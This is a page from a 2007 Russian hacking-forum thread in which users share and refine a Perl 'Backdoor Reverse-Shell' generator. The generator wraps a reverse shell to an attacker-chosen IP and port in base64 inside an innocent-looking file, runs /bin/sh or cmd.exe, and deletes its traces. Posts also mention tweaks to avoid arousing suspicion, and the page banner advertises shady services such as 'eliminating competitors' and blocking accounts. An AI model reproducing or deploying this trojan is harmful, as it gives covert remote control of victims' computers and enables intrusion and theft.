Заценяем релизик...

ВЫЕЗД ИЗ УКРАИНЫ • ОФОРМЛЕНИЕ ДОКУМЕНТОВ • БРОНИРОВАНИЕ • ПОМОЩЬ С ТЦК

УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

НОВЫЕ ТОРГОВАЯ НОВОСТИ

Скрыть

		ANTICHAT > ПРОГРАММИРОВАНИЕ > PHP
Заценяем релизик...

Страница 2 из 2

Опции темы

Поиск в этой теме

Опции просмотра

#11

07.03.2007, 00:42

Helios

Постоянный

Регистрация: 14.01.2007

Сообщений: 459

С нами: 10169427

Репутация: 589

Цитата:

perl умирает

Странно, чего ж догда ActiveState Perl под винду продвигает?
Почему CPAN постоянно пополняется?
Почему знание администратором UNIX перла считается хорошим тоном?
Почему 80% всех сплойтенгов на милворме на перле?

Последний раз редактировалось Helios; 07.03.2007 в 00:45..

#12

07.03.2007, 05:02

KSURi

Постоянный

Регистрация: 06.06.2006

Сообщений: 515

С нами: 10489346

Репутация: 963

Цитата:

Сообщение от Digimortal

перл-коденг на троечку.. замечания:
1) зачем стока ненужных принтов??
2) юзайте " когда это действительно надо, а не заместо ' , а еще есть qw..
3) my ($IP, $PORT, $NAME)=@ARGV; # кстати, правильнее элементы массива писать $ARGV[1], а не @ARGV[1]
4) юзайте -w
5) my - тоже полезная штука...

за идею - плюсег )..

Ты на пути истинном

Сорец к счастью я до конца читать не стал, после того как увидел нечто вроде

Код:

~~~~~~~~~~~~~

#13

07.03.2007, 15:20

slider

Members of Antichat - Level 5

Регистрация: 04.09.2005

Сообщений: 528

С нами: 10885346

Репутация: 2947

непонял .... а что в "~~~~~~~~~~~~~" такого? 0_o

#14

07.03.2007, 15:59

~~Digimortal~~

Banned

Регистрация: 22.08.2006

Сообщений: 608

С нами: 10378404

Репутация: 1095

Цитата:

Сообщение от slider

непонял .... а что в "~~~~~~~~~~~~~" такого? 0_o

print "\n" . '~' x 56 . "\n";

#15

07.03.2007, 18:20

slider

Members of Antichat - Level 5

Регистрация: 04.09.2005

Сообщений: 528

С нами: 10885346

Репутация: 2947

упс.... :'(

#16

08.03.2007, 17:34

slider

Members of Antichat - Level 5

Регистрация: 04.09.2005

Сообщений: 528

С нами: 10885346

Репутация: 2947

ОК .. немного обновил...
теперь не будут лезть "левые окна" и вызывать подозрения..
и убрал задержку....

#17

08.03.2007, 19:18

Helios

Постоянный

Регистрация: 14.01.2007

Сообщений: 459

С нами: 10169427

Репутация: 589

Немного подпатчил, теперь ммультиплатформенно)

Greetz: _slider_

PHP код:


		
			
#!/usr/bin/perl  



## C0d3d by slider  

## Multiplatform path by helios

## Backdoor Reverse-Shell v1.3.multiplatform 

## http://antichat.ru 

   

if (@ARGV!=3)  

{  

print "\n" . '~' x 56 . "\n"; 

print "Backdoor Reverse-Shell \n\n";  

print "\n" . '~' x 56 . "\n"; 

print "---USAGE:" .'-' x 47 ."\n\n";  

print "[Parameters] : $0 IP PORT file  \n";  

print "[Example] : $0 127.0.0.1 9999 exploit.pl \n\n";  

print '~' x 56 . "\n"; 

die("\n");  

}  



$IP=$ARGV[0];  

$PORT=$ARGV[1];  

$NAME=$ARGV[2];  

$TEXT=  



"open logg,\">expl~1.tmp\";".  

"print logg \"use IO::Socket;\";".  

"print logg \"use Socket; use FileHandle;\";".  

"print logg \"socket(SOCKET,PF_INET,SOCK_STREAM, getprotobyname('tcp'));\";".  

"print logg \"connect(SOCKET, sockaddr_in('$PORT',inet_aton('$IP')));\";".  

"print logg \"SOCKET->autoflush();\";".  

"print logg \"open(STDIN,'>&SOCKET');\";".  

"print logg \"open(STDOUT,'>&SOCKET');\";".  

"print logg \"open(STDERR,'>&SOCKET');\";".  

"if(-f '/bin/sh' && -x '/bin/sh') {print logg \"exec('/bin/sh');\";}".

"else{print logg \"exec('cmd.exe');\";}".

"close logg;";  



use MIME::Base64;  



$encoded = encode_base64($TEXT);  

print "[*] Injecting...\n";  



open base64,">$NAME";  

print base64 "\$payload='$encoded';";  

print base64 "use MIME::Base64;";  

print base64 "\$decoded = decode_base64(\$payload);";  

print base64 "eval(\$decoded);";

print base64 "if (-f '/bin/sh' && -x '/bin/sh') {";

print base64 "system(\'perl expl~1.tmp &\');";  

print base64 "system(\'rm -rf expl~1.tmp\');}";

print base64 "else {";

print base64 "system(\'call perl expl~1.tmp\');";  

print base64 "system(\'del expl~1.tmp\');}";

close base64;  

print "[*] OK...\n\n";  



print "$encoded";

#18

08.03.2007, 19:24

Helios

Постоянный

Регистрация: 14.01.2007

Сообщений: 459

С нами: 10169427

Репутация: 589

ЗЫ:

Проверял в винде и во Frenzy

В никсах не забыть поменять конец строки на Unix-Like \n

#19

08.03.2007, 19:27

slider

Members of Antichat - Level 5

Регистрация: 04.09.2005

Сообщений: 528

С нами: 10885346

Репутация: 2947

респект Helios!

#20

09.03.2007, 21:09

genom--

Постоянный

Регистрация: 09.07.2006

Сообщений: 937

С нами: 10441826

Репутация: 1686

if(-f '/bin/sh' && -x '/bin/sh') хотел трохан покритиковать вообщем под моей виндой почемуто флаги -f -x непашут незнаю почему -- модет винда такая хз --- вообщем лучше вбить проверку через readdir будет надежнее

Страница 2 из 2

Предыдущая тема Следующая тема

Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)

Быстрый переход